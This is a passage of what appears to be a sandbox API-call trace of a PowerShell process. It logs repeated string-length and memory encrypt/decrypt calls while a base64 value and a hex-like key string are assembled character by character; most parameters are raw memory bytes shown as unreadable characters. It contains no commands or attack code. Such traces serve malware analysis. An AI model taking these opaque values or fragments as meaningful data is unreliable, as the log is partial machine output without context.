(param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠ꅈ쎒ﲄ遦ꦺｩʲ朩") returned 0x28 [0255.746] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠ꅈ쎒ﲄ遦ꦺｩʲ朩") returned 0x28 [0255.746] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.746] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8AN7MQ뢉㦄鳧剛") returned 0x28 [0255.746] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.746] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠瓱䘩왚\퇙ṝૉ볎∦) returned 0x28 [0255.746] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠瓱䘩왚\퇙ṝૉ볎∦) returned 0x28 [0255.746] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.747] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8AN7MQ7㦄鳧剛") returned 0x28 [0255.747] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.747] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠㗡攺뛂쨬䇿쏐") returned 0x28 [0255.747] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠㗡攺뛂쨬䇿쏐") returned 0x28 [0255.747] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.747] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8AN7MQ7a鳧剛") returned 0x28 [0255.747] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.747] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠綃巯쁹瘌穪㈡嚓\⋚) returned 0x28 [0255.747] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠綃巯쁹瘌穪㈡嚓\⋚) returned 0x28 [0255.747] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.747] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8AN7MQ7an剛") returned 0x28 [0255.747] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.747] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠잋䄨勞ⴢ뛮娓Ệ䩝") returned 0x28 [0255.747] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠잋䄨勞ⴢ뛮娓Ệ䩝") returned 0x28 [0255.748] SystemFunction041 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.748] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8AN7MQ7anc") returned 0x28 [0255.748] SystemFunction040 (in: Memory=0x3af97c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af97c) returned 0x0 [0255.748] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠划醼໛\혰\Ꮨ") returned 0x28 [0255.748] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠划醼໛\혰\Ꮨ") returned 0x28 [0255.748] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠划醼໛\혰\Ꮨ") returned 0x28 [0255.749] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠划醼໛\혰\Ꮨ") returned 0x30 [0255.749] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0255.749] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8AN7MQ7ancb檇됕埍蚌\⋞) returned 0x30 [0255.749] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0255.749] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠划醼໛\혰\Ꮨ젋뵍퐺ᰞ䐆衷첱") returned 0x30 [0255.749] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠划醼໛\혰\Ꮨ젋뵍퐺ᰞ䐆衷첱") returned 0x30 [0255.749] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0255.749] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8AN7MQ7ancbQ됕埍蚌\⋞) returned 0x30 [0255.749] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0255.749] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠划醼໛\혰\Ꮨ줬汷濃䷺防㹾胞") returned 0x30 [0255.749] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠划醼໛\혰\Ꮨ줬汷濃䷺防㹾胞") returned 0x30 [0255.749] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0255.750] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8AN7MQ7ancbQA됕埍蚌\⋞) returned 0x30 [0255.750] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0255.750] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠划醼໛\혰\Ꮨ⇳ᶬ薇玽䩃絁") returned 0x30 [0255.750] SysStringLen (param_1="ꤊˢ徧ỻ䇰\棚䁽낹蛉\ጤ퍟Ꮕꖔ⸔ದꈤ익씲釃ҕ䓻빀㵌큷볨㍦迻齠划醼໛\혰\Ꮨ⇳ᶬ薇玽䩃絁") returned 0x30 [0255.750] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0255.750] SysStringLen (param_1="+eWvTzhswoLREzSpINdgaw0WIkHDAv8AN7MQ7ancbQA=埍蚌\⋞) returned 0x30 [0255.750] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0255.750] EtwEventActivityIdControl () returned 0x0 [0255.750] EtwEventActivityIdControl () returned 0x0 [0255.750] EtwEventActivityIdControl () returned 0x0 [0255.751] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.752] EtwEventActivityIdControl () returned 0x0 [0255.752] EtwEventActivityIdControl () returned 0x0 [0255.752] EtwEventActivityIdControl () returned 0x0 [0255.752] SysStringLen (param_1="") returned 0x8 [0255.753] SysStringLen (param_1="N") returned 0x8 [0255.753] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.753] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0255.753] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0255.753] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.753] SysStringLen (param_1="ND") returned 0x8 [0255.753] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.753] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0255.753] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0255.753] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.753] SysStringLen (param_1="NDZ") returned 0x8 [0255.753] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.753] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0255.754] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0255.754] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.754] SysStringLen (param_1="NDZl") returned 0x8 [0255.754] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.754] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0255.754] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0255.754] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.754] SysStringLen (param_1="NDZlO") returned 0x8 [0255.754] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.754] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0255.754] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0255.754] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.754] SysStringLen (param_1="NDZlOD") returned 0x8 [0255.755] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.755] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0255.755] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0255.755] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.755] SysStringLen (param_1="NDZlODR") returned 0x8 [0255.755] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.755] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0255.755] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0255.755] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.755] SysStringLen (param_1="NDZlODRm") returned 0x8 [0255.755] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0255.756] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.756] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0255.756] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0255.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0255.756] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.757] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0255.757] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.757] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0255.757] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0255.757] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.757] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0255.757] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.757] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0255.757] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0255.757] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.757] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0255.757] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0255.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0255.758] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.758] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0255.758] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0255.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0255.758] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.758] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0255.758] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0255.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0255.758] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.758] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0255.759] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.759] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0255.759] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0255.759] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.759] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0255.759] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.759] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.759] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.759] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.760] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0255.760] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.760] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0255.760] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.760] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0255.760] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0255.760] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.760] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0255.760] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.760] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0255.760] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0255.760] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.760] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0255.761] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.761] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0255.761] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0255.761] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.761] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0255.761] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.761] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0255.761] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0255.761] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.761] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0255.761] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.761] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0255.761] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0255.761] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.762] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0255.762] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.762] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0255.762] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0255.762] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.762] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0255.762] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.762] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0255.762] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0255.762] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.762] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0255.762] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.763] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.763] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.763] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.763] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0255.763] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.763] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0255.763] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.763] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0255.763] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0255.763] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.764] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0255.764] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.764] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0255.764] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0255.764] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.764] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0255.764] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.764] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0255.764] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0255.764] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.764] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0255.764] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.765] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0255.765] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0255.765] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.765] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0255.765] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.765] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0255.765] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0255.765] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.765] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0255.765] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: 